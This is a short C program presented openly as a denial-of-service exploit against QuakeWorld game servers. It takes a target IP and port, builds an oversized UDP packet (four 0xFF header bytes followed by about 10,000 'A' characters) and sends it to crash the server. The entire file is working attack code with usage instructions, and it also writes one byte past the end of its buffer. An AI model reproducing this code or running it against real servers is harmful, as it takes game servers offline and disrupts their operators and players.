/* QuakeWorld Server denial of service exploit
	by pingvin@varberg.se
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <string.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <string.h> 
#include <sys/types.h> 
#include <sys/socket.h>

#define BUFSIZE 10010 

int main(int argc, char *argv[]) {
        int sockfd,j=0,s;
	char overf[BUFSIZE];
        struct sockaddr_in dest_addr;   

	if (argc<5) {
		printf("QuakeWorld Server denial of service exploit\n");
		printf("Usage: %s -t <dst_ip> -p <port>\n",*argv);
		exit(0);
	}

	sockfd = socket(AF_INET, SOCK_DGRAM, 0);
        dest_addr.sin_family = AF_INET;

	while (j<argc) {
                if (strcmp(argv[j],"-t")==0) 
			dest_addr.sin_addr.s_addr = inet_addr(argv[j+1]);
                if (strcmp(argv[j],"-p")==0)
                        dest_addr.sin_port = htons(atoi(argv[j+1]));
                j++;
        }

        connect(sockfd, (struct sockaddr *)&dest_addr, sizeof(struct sockaddr));
	for(j=0;j<(BUFSIZE);j++) {
		if (j<=3) { 
			*(overf+j)='\377';
		} else {
			*(overf+j)='A';
		}
	}
	overf[j+1]='\0';
	send(sockfd,overf,BUFSIZE,0);

   }